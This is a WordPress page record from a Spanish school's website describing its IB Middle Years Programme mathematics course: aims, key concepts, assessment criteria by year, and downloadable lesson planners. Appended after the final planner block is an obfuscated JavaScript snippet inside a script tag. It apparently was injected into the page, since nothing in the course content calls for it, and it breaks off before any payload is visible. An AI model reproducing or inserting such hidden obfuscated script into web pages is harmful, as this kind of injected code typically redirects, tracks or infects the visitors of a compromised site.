{"id":131,"date":"2021-03-21T18:20:52","date_gmt":"2021-03-21T18:20:52","guid":{"rendered":"https:\/\/iesrosachacel.net\/pai_dev\/?page_id=131"},"modified":"2024-06-02T07:03:51","modified_gmt":"2024-06-02T07:03:51","slug":"matematicas","status":"publish","type":"page","link":"https:\/\/iesrosachacel.net\/pai_dev\/matematicas\/","title":{"rendered":"Matem\u00e1ticas"},"content":{"rendered":"\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/drive.google.com\/file\/d\/1CVyEpSQK9_p-qVboyVVzev9d3UATShCx\/view?usp=sharing\" target=\"_blank\" rel=\"noreferrer noopener\">Gu\u00eda de Matem\u00e1ticas<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"Conceptosclave\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Planteamiento_de_la_asignatura\"><\/span>Planteamiento de la asignatura<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">La asignatura Matem\u00e1ticas forma parte del Programa de los A\u00f1os Intermedios (PAI) y se integra en su estructura, que hace \u00e9nfasis en el aprendizaje conceptual y en la contextualizaci\u00f3n de los aprendizajes y tiene un enfoque claramente competencial. Los rasgos fundamentales del PAI, que conforman el n\u00facleo de todas las asignaturas del programa, est\u00e1n descritos sucintamente en la p\u00e1gina&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/iesrosachacel.net\/pai_dev\/pai\/\" target=\"_blank\">Fundamentos del Programa de los A\u00f1os Intermedios (PAI)<\/a>.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El estudio de las matem\u00e1ticas es fundamental para una educaci\u00f3n equilibrada. Estas fomentan un lenguaje universal que ofrece enormes posibilidades, y estimulan las habilidades de razonamiento anal\u00edtico y resoluci\u00f3n de problemas que contribuyen al desarrollo del pensamiento l\u00f3gico, abstracto y cr\u00edtico. Los cursos de Matem\u00e1ticas del PAI (nivel  general y avanzado) promueven tanto la indagaci\u00f3n como la aplicaci\u00f3n, y ayudan a los alumnos a desarrollar t\u00e9cnicas de resoluci\u00f3n de problemas que van m\u00e1s all\u00e1 de la disciplina y son de utilidad fuera del aula.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El programa de Matem\u00e1ticas del PAI se adapta a las necesidades de los alumnos, tratando de despertar su  curiosidad y motiv\u00e1ndolos a querer aprender sus principios. Se les deben mostrar ejemplos reales que ilustren la utilidad de las matem\u00e1ticas y su pertinencia en la vida de los alumnos, y se les debe animar a aplicarlas a nuevas situaciones.<\/p>\n<cite><em>Sinopsis oficial del grupo de asignaturas,&nbsp;<\/em><a href=\"https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-mathematics-2016-es.pdf\">https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-mathematics-2016-es.pdf<\/a><\/cite><\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_generales_de_la_asignatura_Matematicas\"><\/span>Objetivos generales de la asignatura Matem\u00e1ticas<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Disfrutar de las matem\u00e1ticas, desarrollar su curiosidad por estas y comenzar a apreciar su elegancia y las posibilidades que ofrecen<\/li>\n\n\n\n<li>Desarrollar una comprensi\u00f3n de los principios y la naturaleza de las matem\u00e1ticas<\/li>\n\n\n\n<li>Comunicarse con claridad y confianza en diversos contextos<\/li>\n\n\n\n<li>Desarrollar el pensamiento l\u00f3gico, cr\u00edtico y creativo<\/li>\n\n\n\n<li>Adquirir confianza en s\u00ed mismos y ser perseverantes y aut\u00f3nomos al pensar y resolver problemas en un contexto matem\u00e1tico<\/li>\n\n\n\n<li>Desarrollar sus capacidades de generalizaci\u00f3n y abstracci\u00f3n<\/li>\n\n\n\n<li>Aplicar y transferir habilidades a una amplia variedad de situaciones de la vida real, a otras \u00e1reas del conocimiento y a avances futuros<\/li>\n\n\n\n<li>Apreciar c\u00f3mo los avances tecnol\u00f3gicos han influido en los avances en matem\u00e1ticas, y viceversa<\/li>\n\n\n\n<li>Apreciar las implicaciones morales, sociales y \u00e9ticas del trabajo de los matem\u00e1ticos y las aplicaciones de las matem\u00e1ticas<\/li>\n\n\n\n<li>Apreciar la dimensi\u00f3n internacional de las matem\u00e1ticas, reconociendo su universalidad y sus perspectivas multiculturales e hist\u00f3ricas<\/li>\n\n\n\n<li>Valorar la contribuci\u00f3n de las matem\u00e1ticas a otras \u00e1reas del conocimiento<\/li>\n\n\n\n<li>Desarrollar los conocimientos, las habilidades y las actitudes necesarias para continuar estudiando matem\u00e1ticas<\/li>\n\n\n\n<li>Desarrollar la capacidad de reflexionar de manera cr\u00edtica sobre su propio trabajo y el de los dem\u00e1s<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados\"><\/span>Conceptos relacionados<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los conceptos relacionados favorecen la profundidad del aprendizaje. Son disciplinarios y resultan \u00fatiles<br>para explorar los conceptos clave con m\u00e1s detalle. La indagaci\u00f3n sobre los conceptos relacionados ayuda a<br>los alumnos a lograr una comprensi\u00f3n conceptual m\u00e1s compleja y sofisticada. Los conceptos relacionados<br>pueden surgir del tema de una unidad, o de las caracter\u00edsticas y los procesos propios de la asignatura.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 19.<\/cite><\/blockquote>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-e64eddfb\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Aproximaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Una cantidad o una representaci\u00f3n que es casi correcta, pero no exacta.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Cambio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Variaci\u00f3n de tama\u00f1o, cantidad o comportamiento.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Cantidad<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Cuant\u00eda o n\u00famero.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Equivalencia<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Calidad de id\u00e9ntico o intercambiable, aplicada a enunciados, cantidades o expresiones.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Espacio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Marco de dimensiones geom\u00e9tricas que describe una entidad.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Generalizaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Enunciado general formulado sobre la base de ejemplos espec\u00edficos.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Modelos<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Representaciones de sucesos de la vida real mediante expresiones, ecuaciones o gr\u00e1ficos.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Patrones<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Conjuntos de n\u00fameros u objetos que siguen un orden o una regla concretos.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Representaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Manera en que se presenta algo.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Simplificaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Proceso de reducci\u00f3n a una forma m\u00e1s sencilla.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Sistemas<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Grupos de elementos interrelacionados.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Validez<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Utilizaci\u00f3n de matem\u00e1ticas l\u00f3gicas y bien fundamentadas para llegar a una conclusi\u00f3n cierta y precisa o a una interpretaci\u00f3n razonable de resultados.<\/p>\n<cite>Gu\u00eda de Matem\u00e1ticas. Para uso a partir de septiembre de 2020 o enero de 2021, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_y_criterios_de_evaluacion\"><\/span>Objetivos y criterios de evaluaci\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">La asignatura Matem\u00e1ticas del Programa de los A\u00f1os Intermedios engloba en el IES Rosa Chacel los objetivos y criterios del curr\u00edculo de la Comunidad de Madrid en los cuatro bloques propios del PAI, que se exponen en este apartado. Se se\u00f1alan en cursiva los a\u00f1adidos introducidos en los criterios de evaluaci\u00f3n del PAI para atender a los del curr\u00edculo nacional espa\u00f1ol.<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-normal-font-size\"><span class=\"ez-toc-section\" id=\"1o_ESO_2o_PAI\"><\/span>1\u00ba ESO (2\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-a8f50f5b\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-9d0f3bd7-6270-4dda-9072-83935d829744\">\n<li>Seleccionar las matem\u00e1ticas apropiadas para resolver problemas en situaciones tanto conocidas como desconocidas<em>, dentro de las especificadas en el curr\u00edculo establecido para 1\u00ba de ESO por la Comunidad de Madrid relativo a n\u00fameros, \u00e1lgebra, operaciones, geometr\u00eda, funciones, estad\u00edstica y probabilidad<\/em><\/li>\n\n\n\n<li>Aplicar debidamente las matem\u00e1ticas seleccionadas para resolver problemas<\/li>\n\n\n\n<li>Resolver problemas correctamente en una variedad de contextos<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B:  Investigaci\u00f3n de patrones<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-db508a24-24b1-4da6-87f6-bf557c58c280\">\n<li>Aplicar t\u00e9cnicas matem\u00e1ticas de resoluci\u00f3n de problemas para reconocer patrones<\/li>\n\n\n\n<li>Describir patrones como relaciones o reglas generales coherentes con los hallazgos<\/li>\n\n\n\n<li>Verificar si el patr\u00f3n se cumple con otros ejemplos<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Comunicaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-6de671d4-4ac1-4dd5-af6c-d835ab8aa7a6\">\n<li>Usar lenguaje matem\u00e1tico apropiado (notaci\u00f3n, s\u00edmbolos y terminolog\u00eda) en enunciados tanto orales como escritos<\/li>\n\n\n\n<li>Usar formas de representaci\u00f3n matem\u00e1tica apropiadas para presentar informaci\u00f3n<\/li>\n\n\n\n<li>Comunicar l\u00edneas de razonamiento matem\u00e1tico coherentes<\/li>\n\n\n\n<li>Organizar informaci\u00f3n empleando una estructura l\u00f3gica<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Aplicaci\u00f3n de las matem\u00e1ticas en contextos de la vida real<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-9e80b1cc-c907-491f-af37-e78be6cd1c08\">\n<li>Identificar elementos pertinentes de situaciones de la vida real<\/li>\n\n\n\n<li>Seleccionar estrategias matem\u00e1ticas apropiadas para resolver situaciones de la vida real<\/li>\n\n\n\n<li>Aplicar debidamente las estrategias matem\u00e1ticas seleccionadas para llegar a una soluci\u00f3n<\/li>\n\n\n\n<li>Explicar el grado de precisi\u00f3n de una soluci\u00f3n<\/li>\n\n\n\n<li>Describir si una soluci\u00f3n tiene sentido en el contexto de la situaci\u00f3n de la vida real<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"2o_ESO_3o_PAI_%E2%80%93_3o_ESO_4o_PAI\"><\/span>2\u00ba ESO (3\u00ba PAI) &#8211; 3\u00ba ESO (4\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-29f99877\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-9d0f3bd7-6270-4dda-9072-83935d829744\">\n<li>Seleccionar las matem\u00e1ticas apropiadas para resolver problemas en situaciones tanto conocidas como desconocidas, dentro de las especificadas en el curr\u00edculo establecido para 2\u00ba de ESO por la Comunidad de Madrid.<\/li>\n\n\n\n<li>Aplicar debidamente las matem\u00e1ticas seleccionadas para resolver problemas.<\/li>\n\n\n\n<li>Resolver problemas correctamente en una variedad de contextos.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B:  Investigaci\u00f3n de patrones<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-db508a24-24b1-4da6-87f6-bf557c58c280\">\n<li>Seleccionar y aplicar t\u00e9cnicas matem\u00e1ticas de resoluci\u00f3n de problemas para descubrir patrones complejos<\/li>\n\n\n\n<li>Describir patrones como relaciones y\/o reglas generales coherentes con los hallazgos<\/li>\n\n\n\n<li>Verificar y justificar relaciones y\/o reglas generales<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Comunicaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-6de671d4-4ac1-4dd5-af6c-d835ab8aa7a6\">\n<li>Usar lenguaje matem\u00e1tico apropiado (notaci\u00f3n, s\u00edmbolos y terminolog\u00eda) en enunciados tanto orales como escritas<\/li>\n\n\n\n<li>Usar formas de representaci\u00f3n matem\u00e1tica apropiadas para presentar informaci\u00f3n<\/li>\n\n\n\n<li>Comunicar l\u00edneas de razonamiento matem\u00e1tico completas y coherentes<\/li>\n\n\n\n<li>Organizar informaci\u00f3n empleando una estructura l\u00f3gica<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Aplicaci\u00f3n de las matem\u00e1ticas en contextos de la vida real<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\" id=\"block-9e80b1cc-c907-491f-af37-e78be6cd1c08\">\n<li>Identificar elementos pertinentes de situaciones de la vida real<\/li>\n\n\n\n<li>Seleccionar estrategias matem\u00e1ticas apropiadas para resolver situaciones de la vida real<\/li>\n\n\n\n<li>Aplicar debidamente las estrategias matem\u00e1ticas seleccionadas para llegar a una soluci\u00f3n<\/li>\n\n\n\n<li>Explicar el grado de precisi\u00f3n de una soluci\u00f3n<\/li>\n\n\n\n<li>Describir si una soluci\u00f3n tiene sentido en el contexto de la situaci\u00f3n de la vida real<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"Plantillas_de_planificadores\"><\/span> Plantillas de planificadores<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button is-style-outline is-style-outline--2\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/docs.google.com\/document\/d\/1xKY9nXJl2Ja7F1wHVCEk9H25cj6cSX74wIGqOnQrxc8\/copy\" target=\"_blank\" rel=\"noreferrer noopener\">1\u00ba ESO (2\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--3\"><a class=\"wp-block-button__link wp-element-button\">2\u00ba ESO (3\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--4\"><a class=\"wp-block-button__link wp-element-button\">3\u00ba ESO (4\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--5\"><a class=\"wp-block-button__link wp-element-button\">4\u00ba ESO (5\u00ba PAI)<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"Planificadores\"><\/span>Planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Estos planificadores son fruto del trabajo de profesores del IES Rosa Chacel. Por definici\u00f3n estos documentos de planificaci\u00f3n del trabajo de aula est\u00e1n vivos, por lo que la versi\u00f3n publicada no es nunca la versi\u00f3n actual. Publicamos nuestros planificadores con la intenci\u00f3n de que resulten \u00fatiles a otros docentes. Agradecemos cualquier observaci\u00f3n que pueda mejorar nuestro trabajo o animarnos a continuar: estamos en pai@iesrosachacel.org.<\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-1024x724.jpg\" alt=\"\" class=\"wp-image-770 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-1024x724.jpg 1024w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-300x212.jpg 300w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-768x543.jpg 768w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-920x651.jpg 920w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-230x163.jpg 230w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-350x248.jpg 350w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas-480x340.jpg 480w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas.jpg 1169w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p class=\"has-large-font-size wp-block-paragraph\">\u00bfMapeamos el Rosa? Propocionalidad y mapas<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Las relaciones entre n\u00fameros son \u00fatiles para cambiar dimensiones y construir modelos que representan la realidad a distintas escalas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/Proporcionalidad-y-mapas.pdf\">Descarga<\/a> <\/p>\n<\/div><\/div>\n\n\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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